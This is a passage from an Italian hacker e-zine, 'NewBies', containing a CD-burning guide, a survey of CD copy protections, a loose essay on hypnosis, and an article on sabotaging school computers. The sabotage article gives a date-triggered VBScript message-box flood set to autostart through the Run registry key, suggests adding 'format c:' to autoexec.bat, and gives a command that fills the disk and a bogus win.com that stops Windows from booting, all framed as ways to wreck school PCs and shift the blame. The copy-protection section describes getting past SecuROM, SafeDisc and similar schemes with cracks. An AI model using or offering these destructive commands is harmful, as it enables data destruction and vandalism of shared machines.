CD che avete fatto ( ha sempre lo stesso nome del file di immagine ). Ora
teoricamente potreste premere il tasto " Start Recording " e iniziare a
registrare sul vostro CD Vergine, che non Š una costellazione, ma non ve lo
consiglio... Premete innazitutto il tasto " Disc Layout ", il quale vi far…
vedere le informazioni riguardanti il cd che state per scrivere ( eccetto
l' etichetta ), e controllate che il tutto corrisponda con il cd originale: se
differisce di oltre 74min bene avete cannato tutto :) e dovete rifare la
procedura spesso cmq ho notato la differenza di 1 o 2 sec che per• non ha
inciso sulla riuscita del cd ( non so dove ho letto che ci• Š dovuto ad una
particolarit… nella fat creata da questo prog. che cmq non d… alcuna rogna,
almeno a me non Š mai successo ). Ora il mio consiglio e di cambiare " Speed "
da max a 2X nel caso abbiate un 4X altrimenti potete lasciarlo su max tanto
pi— di 2X non v… he he he. Per i pi— puntigliosi Š inoltre contemplata una
chicca, spuntando la check " Test Mode " verr… eseguita una simulazione di
scrittua tale e quale alla registrazione ( quindi anche lo stesso tempo: 30
- 40 min a 2X ) nella quale il cd non verr… sfiorato ma nel caso di strani
errori tipo Buffer underrun si potr… intervenire riducendo la velocit… di
scrittura e rifacendo il test ( con ulteriore incremeto di tempo "perso" ).
Una volta raggiunta la perfezione potrete registrare il cd con la ver nuova
del prog che volevate copiare in quanto nel frattempo Š gi… uscita :). Potete
ora scrivere il vs cd e tanti auguri che non salti la corrente ( io mi sono
premunito di UPS, onde evitare, he he he ).

-<=************=>-

(4) COPIARE UN CD AUDIO

Questa ragazzi Š una procedura veramente verameeeeeeeeente difficile :
Dunque ....
La procedura qu di seguito spiegata parte dal presupposto che sul vostro HD
ci sia posto sufficiente per l' immagine del CD che state copiando ( fanculo
alla Sony se Š un videogioco della Play ) Ps: perchŠ funzionino questi CD-ROM
dovete avere la modifica nella Play Lo Sapete VERO ?? ...
Clickate sul III pulsante " Extract Disc/Tracks/Sectors " ...
Avete gi… capito ? Spero di s comunqe ve lo dico lostesso: dovete fare la
stessa cosa di prima... Difficile vero ? :) ( Per• sono un genio: facendo
cos siete obbligati a leggervi tuatta la parte che riguarda la copia di un
cd non musicale anche se non vi interessa :) ).

-<=************=>-

(5) CREARE UN CD AUDIO

Questo pu• essere pi— complesso o pi— semplice, di quello che abbiamo visto
finora, a seconda di come viene affrontato: noi vedremo il metodo pi—
semplice. Clickate direttamente sul primo tasto " Record Disc " ed entrate
nella form. Premete ora il pulsante " Load Tracks ... " ed inserite con il
drag&drop o selezionadoli tutti i file di tipo wav che volete inserire nel CD.
Ora vi ricordo che la lunghezza totale di tutti i brani messi assieme + 2 sec
tra un brano e l'altro non deve superare il tempo indicato sul CD vuoto ( 74
o 80 min a seconda di cosa usate ) altrimenti andreste in Overbanning e non
tutti i masterizzatori sono in grado di farlo quindi rischiereste il CD. Ora
eseguite tutti i controlli del caso e registrate la vostra supercompilation.
Il metodo pi— complesso prevederebbe la scrittura di un file cuesheet
manualmente. Questo pur essendo il metodo pi— complesso Š quello che
preferisco in quanto posso decidere io il tempo tra una canzone e l'altra
nonchŠ tutti gli start point delle varie tracce ( per fare tutto ci• ho
realizzato un programmino in versione freeware che non so se verr… allegato,
comunque se ne avete bisogno scrivete a nitrothedemon@yahoo.com e vedr• di
rispondervi appena possibile. ).

-<=************=>-

(6) AGGIUNGERE UNA SESSIONE AD UN CD

Per fare questo dovete essere sicuri che il cd sia aperto, ossia che sia
ulteriormente scrivibile nonchŠ ci sia gia una sessione correttamente
registrata. Una volta sicuri fate tutto come nel punto "(2) CREARE E RGISTRARE
UN ISO 9660 "
tranne che dovete cliccare su pulsante " Advanced Options " e
nella cartella " Import Session " dovete spuntare la check " Import Previous
Session "
e se vi interessa mantenere la stessa etichetta dovete spuntare
anche la seconda check " Preserve Volume String... " eche cazz non ve la
scrivo tutta tanto avete capito no ?
Per le altre opzioni posso dirvi che servono nel caso ci siano 2 directory
o 2 file con lo stesso nome ora vedete voi come comportarvi :) se volete
che il nuovo file sovvrascriva ( virtualmente in quanto in realt… non si pu•
cancellare un file ) quello vecchio oppure no.

-<=************=>-

E con questo abbiamo finito... Š stata dura Š ma ora dovreste essere in grado
di farvi le vostre esperienze e un giorno scrivere una guida migliore di
questa (" sai che difficolt… " direte voi, " avete ragione " dico io )

-<=************=>-

E arriviamo ora ai ringraziamenti:

Un thanks va a Hal9000 Ex Warez Division [ S0FTPJ ] dal quale ho appreso i
primi passi di quest' arte
e uno va a N0bodY88 che mi ha permesso di rompervi un po' con le mie cazzate

Ciao a tutti da quel folle
NiTRo THe DeMoN


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ Come sono protetti i nostri cd ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ



Ecco qui la seconda parte del mio discorso.. le protezioni!
Cerchero' di spiegare brevemente quali sono i tipi di pretezione
più adottati dalle case editrici di cdrom per evitare che quelche
malintenzionato ne diffonda copie illegali... Ma poichè noi abbiamo
speso 150000 lire per comprarcelo originale, e non vogliamo che questo
si rovini .. non possiamo fare altro che copiarlo e usare il cd
masterizzato! Quello originale lo conserveremo per bene sulla mensola eheheh.
I tipi di protezione piu' sati sono questi:
1) CD sovradimensionati
2) TOC fasullo
3) SecuROM
4) Laser Lock
5) SafeDisc
6) CD-Cops
7) Disc guard

1 --- CD sovradimensionati
Una protezione che ormai non fa più paura a nessuno poichè in commercio
ci sono cd da 80 minuti! quindi non ci spaventerà dover copiare un cd
con 77 minuti occupati!
Se proprio non volete uscire a comprarli si puo' sempre scrivere in
modalità overburn!
Questa modalità (permessa solo da alcuni masterizzatori) consiste nello
scrivere cd integrando le informazioni di chiusura con la parte finale
della traccia. Bisogna far attenzione perchè nei cd molto economici
la parte più esterna della pellicola scrivibile è di pessima qualità quindi
il cd potrebbe risultare illeggibile nella parte finale! Per scrivere cd
in overburn usate software come "Nero".

2 --- TOC fasullo
Il TOC (Table of Content) è praticamente la tabella in cui ci sono le
informazioni sul cd.
Quindi molte case produttrici "stampano" i propri cd mettendo un indice
falso... in modo tale che risulti pieno per il 150% o più... in pratica
al vostro pc sembrerà di leggere un cd da 1000 Mb che non potrà essere
scritto in nessun modo. Anche questa protezione è ormai bypasssabile molto
facilmente, utilizzando sowtfare che permettano l'opzione "ignora TOC
illegale"
come Nero, CdRWin o Prassi. Un famoso esempio di questa
protezione si trova su "Tomb Rider 3"

3 --- SecuROM
Questa non è una vera e propria protezione software, ma una particolare
protezione sviluppata dalla Sony che consiste nello stampare i cd
originali con un particolare macchinario che rende un file illeggibile.
Copiando il cd quindi questo risulterà privo di quel file....
Essendo illeggibile non serve a far funzionare il gioco ma quando facciamo
partire l'eseguibile, questo per prima cosa andrà a controllare la
presenza di quel file, e non trovandolo segnalerà errore. Si puo'
banalmente superare questa protezione scaricando da internet il crack
(in questo caso una patch) del gioco. Esempio di questa protezione è
FifaY2k. Il secuROM è uscito in varie versioni seguito a ruota dalle
patch per ogni versione :P

4 --- Laser lock
Questa protezione consiste nel danneggiare dei blocchi del cd con un
raggio laser, rendendoli illeggibili. Più precisamente è la combinazione
di una operazione di un software di cifratura e di un marchio che
identifica univocamente il cd. Spoteggere questi cd a volte puo' essere
noioso, perchè quando non basta l'opzione "ignora errori di lettura"
di Nero o CDrWin, dobbiamo ricorrere alla pratica.... Copiamo la cartella
"laserlock" su hd leggendo da un lettore o masterizzatore scsi (eh, lo so,
ma altrimenti credo che non funzioni), poi apriamo uno per uno i file
con un editor di file esadecimale e li salviamo senza averli modificati
in una cartella con lo stesso nome. Aggiungiamo su hd a questa cartella
tutte le altre presenti sul cd e masterizziamo come cdrom iso.
Questa è la protezione usata per esempio nella versione italiana
di Descent 3.

5 --- Safedisk
Molto simile al SecuROM, comprende sul cd una firma digitale.
Alcuni file vengono codificati e masterizzati insieme al programma
di decriptazione. La normale copia di questo cd risulterà priva di
firma digitale ed il programma di decriptazione non funzionera'.
Ci sono moltissimi giochi e programmi protetti con Laser lock tra cui
Carmageddon 2. Per copiare questi cd occore CdRwin attivando l'opzione
"non Raw copy"... e leggere il cd a 1x! Il lettore cmq si soffermera'
parecchio sui blocchi corrotti dalla protezione e la scrittura del file
immagine potrebbe durare anche 5 ore! Il cd masterizzato avrà comunque
bisogno di una patch per funzionare in quanto deve emulare la firma
digitale... riconosciamo questa protezione su cd in cui troviamo questi file :
00000001.TMP
CLCD16.DLL
CLCD32.DLL
CLOKSPL.EXE
poi ci sarà un file ?????.exe ed un ?????.icd
Il vero eseguibile è in realtà il file icd, ossia quello criptato con
SafeDisk.

5 --- CDCops
Questa protezione dalla copia funziona così: CDCOPS legge il CD e misura
la velocità di lettura. Questo valore è un numero (il codice) che è la
CHIAVE DEL CD (detto anche "CD key"). Se il CD inserito ha una
differente velocità di lettura (confrontata con il numero memorizzato),
il CD non funzionerà dato che la chiave è differente.. Questa protezione
molto fastidiosa è presente su programmi e non sui giochi. es. Omnia99
Al momento dell'installazione si dovrà avviare una utility per misurare
la velocità di lettura e tenerla aperta del tutta la sua durata.
Per sproteggere il cd è necessario rigenerare la chiave modificando il
file CDCOPS.DLL.
Sinceramente non me ne è mai capitato uno e non ho la minima idea di
come si possa fare a rigenerare la chiave! :P

6 --- Disc Guard
DiscGuard è una tecnologia anti-pirata per i supporti ottici, che
funziona inserendo una "firma" digitale all'inizio del cd che puo'
essere scritta solo dai masterizzatori di proprietà della casa produttrice.
Il cd masterizzato in casa non avendo la firma segnalera' un messaggio di
errore invocato dall'eseguibile. La soluzione? semplice. Scaricate
il crack. :P
Beh, ora potete fare quasi tutte le copie di backup che volete eheheehhe
Queste info sono state prese dal gruppo CDFreaks Italia e integrate con
l'esperienza del sottoscritto :P
Ciao e alla prossimaaaaaaaaaaaaaaa :)))

korg

P.S. Un Saluto a tutti gli amici di #cacca !!! :)))
con un :* in più a Dante e Nin[hu4 che mi sopportano ehehehe

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Ï DIVERTIMENTO CAZZATE SVAGO E QUANTO È O NON È POSSIBILE Ï
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI.

Allora.. eccoci di nuovo al solito appuntamento con newbies.
Newbies newbies newbies, siamo già al numero sette! Diciamo che i redattori fanno
un buon lavoro di ricerca degli articoli,(mah... by Dantuz) soprattutto quando trovano
i miei ehehe :P
Su newbies è comparso un solo mio articolo, purtroppo per voi [ihihi] e adesso siamo
al secondo =)
Questa volta vorrei, con questo articolo, raggiungere due scopi: per prima cosa
far divertire tutti quelli che leggono questa FAMOSISSIMA e-zine
[redattori poi voglio una ricompensa in denaro(o in natura? by Dantuz)] e far
capire a qualcuno [o forse a nessuno ? ;P] quanto la mente umana non sia come
la si crede, e che non c'entra l'intelligenza, ma l'allenamento.
[so di essere pazza, assecondatemi:)]
Bene, cominciamo a scrivere le risorse consumate durante quest'esperienza:
Una mega cena cinese [il ristorante ci stava bene nel mezzo dell'articolo=)]
una fiesta [bleah, non mi piace neanche]
urrà saiwa [merendine di mia sorella, avevo bisogno di carburante hehe]
mega gelato come al solito ..
..e basta.. :P
musica : [dio sto vivendo di musica in questo periodo!]
sMAV's cOMPILATION
1 No Doubt - Ex girlfriend
2 NOFX - Stickin' in my eye
3 NOFX - Bob
4 Guano Apes - No Speech
5 Blur - Song 2
6 Eagles Eye Cherry - Are You Stil Having Fun
7 Red Hot Chili Peppers - Otherside
8 R.E.M. - Losing my religion
9 U2 - The Ground Beneath Her Feer
10 White Town - Your Woman
11 Lit - Miserable
12 Led Zeppelin - Stairway to Heaven
13 Eminem - Stan
14 Dj Gruff - Ben Bella
15 Cypress Hill - Rock Superstar Ego
16 The Offspring - Gotta Get Away
17 The Offspring - Self Esteem
18 Lene Marlin - Unforgivable Sinner
in loop, naturalmente =)

E tante, tante parolaccissiiiiime alla Sharra... xkè oggi "c'ho le palle girate"
[© Aldo Giovanni e Giacomo nella trasmissione "Comici" :P :)]

ok, cominciamo.

Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI, x conoscere meglio la propria mente
[Coscienza e Subcoscienza, tecniche subliminali, come difendersi dalla tecnica subliminale,
il concetto di "realtà" ed il "quasi reale", la suggestione e la sua azione sul conscio
e sull'inconscio, significato dell'ipnosi, esercitazioni.]

conscio -|io

superio

|inconscio personale
inconscio -|inconscio collettivo
|inconscio istintuale

coscienza e sub-coscienza
com'è formato il nostro io e in che cosa consiste

La nostra attività psichica è formata da due parti essenziali:

la parte volontaria
cioè il conscio, il giudizio, la razionalità, quando si ha coscienza di se stessi,
delle persone, e delle cose.

parte automatica
questa parte funziona senza che ce ne accorgiamo: è l'inconscio, dove si possono
posizionare le impressioni, la fantasia, i sogni, la memoria, i sentimenti..
Qui si registra tutto quello che riceviamo dall'esterno o che hanno origine da noi
stessi, e ne conserva una traccia indelebile. Qui vengono elaborati stimoli,
impulsi, tendenze.

In proporzione, la nostra parte conscia non è che un millesimo dell'inconscio, è quindi
la sub-coscienza che ci guida nella via.
Arriviamo al cosiddetto "primo inconscio".
E' una specie di super-inconscio, o "lunga vista":quello che ci fa sognare le
informazioni non raccolte dalla coscienza. E' questa specie di super-coscienza che
si interpella per prendere conoscenza di tutte le nostre possibilità latenti.
Caratteristica di questo "livello" è di considerare tutto vero, indubbia debolezza,
e per questo bisogna proteggerla da eventuali "attacchi".. questosi ottiene per prima
cosa prendendo atto della debolezza stessa, e ci si saprà difendere efficacemente
piu' impareremo a conoscerci.
Ecco il "secondo inconscio". E' collettivo, quello che ci mette in contatto
con gli altri.Questo è il livello che inteessa la magia.
Poi c'è il "terzo inconscio", quello che va anche al di là del tempo. Con questo si
puo' entrare in contatto con esperienze passate, o predire il futuro.

Tecniche subliminali
Tutte le percezioni che abbiamo da stimoli che non oltrepassano la soglia della
coscienza, per la loro insufficiente durata o intensità, si chiamano subliminali.
Ad esempio, la pubblicità che vediamo tutti i i giorni, approfitta dei limiti della
nostra coscienza e della debolezza del nostro primo inconscio. In tv, la parte
cosciente percepisce al massimo 24 fotogrammi al secondo. L'inconscio, invece,
vede tutti i fotogrammi presentati. Quindi, se in mezzo ai 24 fotogrammi ce ne
sarà uno con la la scritta "coca cola", "nutella", o vattelapesca, non verrà visto
dal conscio, ma l'inconscio lo immagazzinerà condizionando poi le nostre scelte future.
Le tecniche subliminali sono, fortunatamente, oggi proibite da delle specifiche
leggi internazionali.

Come difendersi dalla tecnica subliminale
Sapere come agisce è già molto utile, con l'ipnosi si migliora il rapporto tra
conscio e primo inconscio, e il contro-impiego di queste tecniche è un'altro
antidoto alla "violenza subliminale".

conclusione : la conoscienza è potere, il sapere rende più liberi.

(non ho kapito una minkia ma sta frase me gusta by Dantuz)

La "realtà" ed il "quasi reale"
La realtà è individuale. E' soggettiva, diversa per ogni persona, a seconda
del proprio punto di vista. Se fosse oggettiva, saremmo tutti uguali, avremmo
gli stessi gusti, e penseremmo allo stesso modo. Non esiste una realà oggettiva,
e nemmeno la finzione della realtà.. matrix non sarebbe mai potuta esistere, come
avrebbe fatto un computer a sapere come ragionava ogni singolo individuo ?
Esempio, i dieci del grande fratello vengono presi per un esperimento, cinque
vengono ipnotizzati e gli si fa credere che ci sia un orologio sul tavolo, e
cinque no. Chi ha ragione ? Entrambi, perchè la realtà è soggettiva. Questo è un
concetto fondamentale, difficile da comprendere ma scuola di vita.:P [pensare come
smav distrugge la mente =)]

Vivendo la realtà soggettiva, bisogna anche accettare la libertà degli altri, capire
i modi di pensare, di essere, di agire differenti. Il potere di Maja [illusione]
indica il valore del pensiero, la cui potenza arriva a far agire la materia. Gli
atomi, viaggiando ad una velocità infinita, ogni istante occupano tutto l'universo,
e vanno a occupare, nella loro caduta, tutte le forme esistenti. In Magia ogni oggetto
è presente in tutto quanto l'universo, le forme non possono esistere se non per
il potere del pensiero, il potere Maja, il potere Divino.
Oggettivamente, invece, la materia non esiste, e secondo le antiche concezioni
religiose essa esiste solo in quanto creazione nella mente di Dio. In noi
esistono possibilità di metter in pratica questi concetti, basta volerlo
immaginando di completare l'azione con degli atti pratici. Tecniche
appropriate per ogni azione permettono di realizzare ciò che si pensa.
La vera difficoltà sta nel CONVINCERE NOI STESSI.
Per capire meglio questo diverso modo di vivere la realtà, bisogna parlare
anche del quasi-reale. Provando a guardare il mondo con gli occhi di un bambino,
come se vedessimo le cose per la prima volta, saremo più lievi, più liberi.
Ad esempio, pensiamo a qualcuno che ci sta antipatico, la prossima volta
proviamo a parlarci come se non lo conoscessimo, come per dargli una seconda
opportunità, sicuramente l'impressione sarà diversa.

La suggestione e la sua azione sul conscio e sull'inconscio
Quando una potente impressione, o la ripetizione di una percezione, colpiscono
l'inconscio, la coscienza tende ad annullarsi. Invece, quando il conscio cessa
di stare in guardia, le facoltà dell'inconscio si intensificano, soprattutto
fantasia e impressionabilità.
La suggestione distrae l'attenzione obiettiva e allo stesso tempo impressionano
l'inconscio. Spingere una persona a immaginarsi in un certo stato vuol dire
suggestionarla. E la suggestione è un atto di violenza.
Allo stato di veglia, un'affermazione espressiva detta con tono positivo,
penetrante, convincente, e ripetuta parecchio, provoca l'effetto corrispondente.
La coscienza psicologica si annulla, s'intorpidisce, e sospende la sua funzione:
questa è l'ipnosi totale. Ottenuta l'ipnosi non c'è più bisogno di distrarre la
coscienza, perchè ormai è dissociata dall'inconscio, accetta passivamente ogni
idea, ogni immagine suggerita, e segue automaticamente gli impulsi che gli vengono dati.
L'ipnotizzato si trova come in un sonno naturale, ma provocato da un'altra persona,
l'inconscio può essere diretto dall'operatore e l'automatismo resta attivo.

Significato dell'ipnosi
E' una tecnica che fa raggiungere il primo inconscio di una persona. Con che
scopo ? Ce ne sono di molto utili, come ad esempio ricordare sue esperienze
passate, superare traumi, alleviare sofferenze fisiche [il dolore fisico non
esiste], sviluppare capacità fisiche e psichiche, curare e accelerare guarigioni
di tagli ferite o fratture, curare malattie psicosomatiche, lenire il dolore,
aprire e allargare percezioni, ecc...
Consiglio di fare uno sforzo nell'apprendimento del quasi-reale, esteso a tutto
ciò che ci circonda, e ai fatti che ci si presentano. Questa è una grandissima
presa di coscienza del nostro "io"...

Adesso risolvete questo facile rompicapo "kickself", come li chiamano loro,
coloro che si credono superiori [auhauahua], tratto dalla rivista "Mensa" che
viene inviata a tutti i membri del mensa inglese, la "High I.Q. Society", che
tutti credo conosciate.

Problema per un uomo pigro
Si dice che un uomo pigro e intelligente fa un buon manager. Istintivamente
egli sa come economizzare le ore di lavoro, cosa che costituisce spesso la metà
del suo lavoro. Un manager però deve però anche saper sollecitare, oltre ad
essere pigro. Ci vogliono uomini impazienti, non procrastinatori.
Vendevo dei macchinari a Mosca. Il mio contatto russo, appena tornato da un
paese arabo, era intelligente e pigro. Ma aveva anche un grande senso di urgenza.
«Oggi!» continuava a dire «Doviamo mettare la firma! "Bokhra" non va bene.»
Dopo avermi detto questo «Oggi non "Bokhra"» un paio di volte replicai: «Non
conosco questa parola "Bokhra"; che cosa significa ?».
«Le mie scusazioni. Difficile per me. Mischio le parlature.
"Bokhra" è una parola di Arabia.»
«Ma che cosa significa ?»
«Per voi inglesi non molto facile comprendere "Bokhra". Modo migliore per spiegarlo:
è come lo stesso di messicana "magnana", ma non uguale senso urgenza.»
Ora qualsiasi problema kickself è un problema per uomini impazienti e pigri.
La via verso la soluzione appare lunga e fastidiosa e se la prendi non arrivi mai.
Esiste da qualche parte una scorciatoia mentale.
Ed è l'uomo impaziente e pigro che la trova.
Eccone un modesto esempio.
Ci sono state 12.345 iscrizioni al Torneo di scacchi «Knock Out» del Mensa, un torneo
cioè a eliminazione diretta dell'avversario perdente. Le partite vengono tutte disputate
e i pareggi vengono attribuiti con il lancio di una moneta.
Ora: quante partite dovranno essere giocate per trovare il vincitore
di questo torneo ? Non è necessario alcun calcolo. Dovreste già conoscere
la risposta. Subito!

Bhe.. avete indovinato ? Qui c'è la risposta..

12.344 partite. C'è un vincitore soltanto, per cui ci devono essere 12.344 perdenti.
In un gioco a due a eliminazione diretta, ci deve essere una partita per ogni giocatore
eliminato.12.344 perdenti depressi e 12.344 partite. Voilà!

Bene, dopo aver risolto questo quesito facilino facilino, finisco qua il tutto visto
che mi sono dilungata anche troppo..
Spero che quel qualcuno abbia capito quanto conti (o no?) "l'intelligenza" come la
chiama lui, e che non e` poi cosi` male, non e` poi cosi` male.. [eminem rulez :PpP =)]

bibliografia
"ipnosi e autoipnosi" di Alberto Airaudi, casa editrice Meb.
"Grande libro della magia" di Maria Fenoglio, editore Gulliver.
"I quiz del mensa club", Victor Serebriakoff, casa editrice Rizzoli.

Ringraziamenti :

a mia sorella che si e` lasciata gastemare, a mio padre che mi ha dato il suo portatile
x scrivere sto benedetto ti ix ti [papa` rulez], alla nonna che mi ha fatto fare la
cuoca =), al mio amicicio [tvtrb bimbo =*], ai redattori di nb che non mi
hanno lasciato scrivere l'articolo "come hackerare la meta` dei redattori di nb",
a dev che odia quando dico auhauah.. e allora bwahah =), a SintoWhat, a SyntVicious76,
a SintaM, a SintoFake, a Nitro The Synt, alla Synt crew, a tutti i miei bimbi,
al mio amore [il mio gatto Spillo, Spina x pulcio], a dark [*:], al n0bo[ovviamente],
a XuNiL scemo x avermi fatto finire i soldi nel cello in 12 secondi :P
[ora tocca a te:P]. A solero che me lo aveva levato dalle scatole x un po',
a DigeiPulce e alla onixgorl, a Valy che non sento da un pacco,
a Caterina de Medici, all'Alice [ie] x tutta la sua pazienza nei miei anni di
elementari, a Bilbo bilbo bilbo baggins e ai radiohead, agli antitruzzi,
alla super cassetta nobo smav nobo smav [paul rulez ?] e a che altro
posso dedicarlo a.. a.. bhe, a parte tutti gli amici di irc e di dgn, non vedo chi altri! =)

Bacioni da smav !!

.o0' ..sMhACK tHE pLAneT, FHaCK ThE PLaNEt!!.. '0o.

P.S. Il primo motto mi puzza di mio... :P by Dantino hihhi



,.-o0o-.,,.-o0o---ÐLA SCUOLA TI ROMPE? ROMPI LA SCUOLA!!! ]ý-o0o-.,,.-o0o.,

DISCLAIMER
------------------------------------------------------------------
Con il seguente articolo NON invito nessuno a provocare piu' o meno
intenzionalmente danni alle strutture scolastiche (hahahahaha sisi, come no).
Tutti gli eventuali errori ortografici sono puramente intenzionali.
------------------------------------------------------------------

Ed ecco che inizia nuovamente un'altro anno scolastico. La storia si ripete: tutte
le fottute mattine alzarsi presto per andare in quel buco di classe e ascoltare le
farneticazioni di un paio di persone che si fanno chiamare professori e che in
teoria ci dovrebbero insegnare qualche cosa (seeeeeeeee), e mentre loro parlano
notiamo di fianco a noi un bel pc nuovo di zecca...che prontamente nessuno ci fa
mai accendere ed usare come si deve. E qui nella nostra mente nascono
molteplici e contorte idee...se non lo possiamo usare noi, perche' mai lo dovrebbe
usare qualcun altro?? La risposta e' semplice: non lo usera' mai piu' nessuno!!!
Ma come fare ad impedire l'utilizzo di un pc scolastico controllato dopo ogni utilizzo
da qualcuno? Si potrebbe prendere a martellate oppure fare un bel format c: (dato
che non ho mai visto un pc scolastico con linux) ma poi chi lo spiega alla mamma
il motivo per cui e' arrivato una fattura da un milione e mezzo?? Ed ecco che si
profila all'orizzonte una nuova idea: fare ricadere la colpa su qualcun altro!!
Ma come fare? I modi sono tanti...ecco un po' di idee che possono essere realizzate
con mezzi di fortuna reperibili su ogni pc:

1- Ci appoggiamo al nostro "amico" vbscript. Con qualche righetta di codice possiamo
inondare il desktop di messagebox, una dietro l'altra. La cosa risulta mooolto irritante
e si rende completamente inutilizzabile il pc!! Provare per credere! Per assicurarci un'alibi
e' indispensabile modificare la data di attivazione del codice ad alcuni giorni dopo il
nostro utilizzo del pc. Ecco il codice:

giorno
ay(Now)
If giorno [numero del giorno che vogliamo] Then
For a  to 100000
MsgBox "HAHAHAHA",vbExclamation + vbSystemModal,""
Next
End If

Copiamo e incolliamo il tutto il un bel file .vbs e sbattiamolo nella directory Esecuzione
Automatica oppure inseriamo una bella chiavetta nel registro con il percorso del file in
HKLM\Software\Microsof\Windows\CurrentVersion\Run. Starete sicuri che non lo
troveranno per moooolto tempo (quello che ho messo l'anno scorso non l'hanno ancora
trovato :)))). Al posto di generare messagebox, si possono implementare diverse funzioni
come ad esempio la modificazione dell'autoexec.bat inserendo istruzioni distruttive
tipo format c: /autotest utilizzando la funzione OpenTextFile.

2- Utilizziamo gli amati buggazzi di wincrotalo. L'ideale e' sfruttare bug poco conosciuti
come quello di himem.sys che praticamente nessuno conosce (almeno credo). Dovete
sapere che il nome interno di himem.sys e' XMSXXXX0 e, come gli altri dispositivi
di sistema, dovrebbe in teoria essere non accessibile. Ma la micro$fott non poteva
certo non inserire un bug anche in questo. XMSXXXX0 si lascia convincere inspiegabilmente
dal comando type con il quale ha dei curiosi comportamenti. Dal prompt del dos digitiamo:

type XMSXXXX0 > c:\windows\file

XMSXXXX0 riempira' il file con dei caratteri ricorrenti (chissa' cosa rappresentano)
fino a che il disco c: non sara' stracolmo. sarebbe una cosa carina inserire tale
comando nell'autoexec.bat (sempre con l'attivazione condizionale legata al giorno).
Non vorrei dire una cazzata ma questo trucchetto dovrebbe funzionare anche
con gli altri nomi di dispositivi di sistema (con, com1, aux, $MMXXXX0, ecc...)

3- Creare un bel file win.com con dentro un po' di caratteri a caso nella directory C:.
Al successivo riavvio ci ritroveremo senza wincrost (che e' anche meglio).
Questo perche' all'avvio del sistema il file win.com viene cercato prima di tutto
nella directory principale e se non viene trovato lo va a cercare in c:\windows.
Trovando il suddetto file nella directory principale, viene eseguito ma avendo un
contenuto non valido wincroccolo non parte.

4- Installare l'ultimo aggiornamento di wincazz sul pc su cui vogliamo infierire hehehehe.

SALUTI
----------------------------------------------------------------------
N0bodY88, Tony, Elisa, Paurina, |D|skt0p, ^{|X|}^ e tutti i membri di S0ftpj.


_ _ ____ _
| \ | | _____ _| __ )(_) ___ ___
| \| |/ _ \ \ /\ / / _ \| |/ _ Y __|
| |\ | __/\ V V /| |_) | | __|__ \
|_| \_|\___| \_/\_/ |____/|_|\___|___/

Redattori ------------> Dante Alighieri & N0bodY88-ooo
Fratello -------------> N0bodY88-ooo
E-zine by ------------> Dante Alighieri & N0bodY88-ooo NewBies Staff
Ascii by -------------> N0bodY88-ooo & |-|15cR4zYm1nD & S0l1t4r10~M4N
Loghi NewBies by -----> RigoR MorteM
Articoli -------------> NewBies Staff & Friends
AllDedicatedTo -------> NoBoLeTTiNo CucCioLotto & OurSeLf :D

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ SALUTI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

Dante Alighieri & N0bodY88-ooo

SALUTANO:

tutta la HDE quindi Smav, Adry, V56, Sharra che mi hanno fatto passare i piu'
bei mesi della mia vita :D :* ve voio bene bro & sisters

tutti gli amici di #c.a.c.c.a in particolare smav, adry, sharra, v56,
DASY, xunil, djpulce, dark-elf, _p0nic0_,
^Sonic^, gsus, devilnet, korg, theduke,
k0ma, smilzo, ninchua, Danko, mosaico,
c45per, SuperAngy, ILY, Trunkz,
ZioManiak(ghay), cthulhu, shania, solero
\sPIRIT\, guf0z aka guf`l0ve, mr_bis0n,
neogmc, rubrik, vaffa, vejeta tutti i bro che
dimentico ;)

tutti gli amici di #hollagrafix in particolare neuro, smilzo, nonex, l0rdo,
vecna, ron/mk, e`m0tion, \sPIRIT\, asfalto85,
black berry, bikappa, peter_And, o2, ahpook,
e tutti i vari n0body85 e n0body che mi fanno
pensare di cominciare a sdoppiarmi senza
accorgermene ;)

tutto il NewBies Staff tra cui N0bodY88, Dante Alighieri, Harlok,
Blinking, Master, Firebeam, aLT255, Quequero, +MaLaTTiA,
Cod, Ritz, Johnny, Ironman, [-W|nz-], _p0nic0_, Nick1,
mR_bIs0n-Mr_Skull, Rez, Avogrado, Zippy2k, Dark_elf,
DeviLNeT, JohnnyRunner, Barninga Z!, rwxrw-r-x, The
Intruder, XuNiL, |CyRaX|, recidjvo, M4VER1CK, Vejeta, F3D3R1[0,
Ax1s, XaRaBaS, r3b0ot, Darkside, Lord Destruction, Vecna,
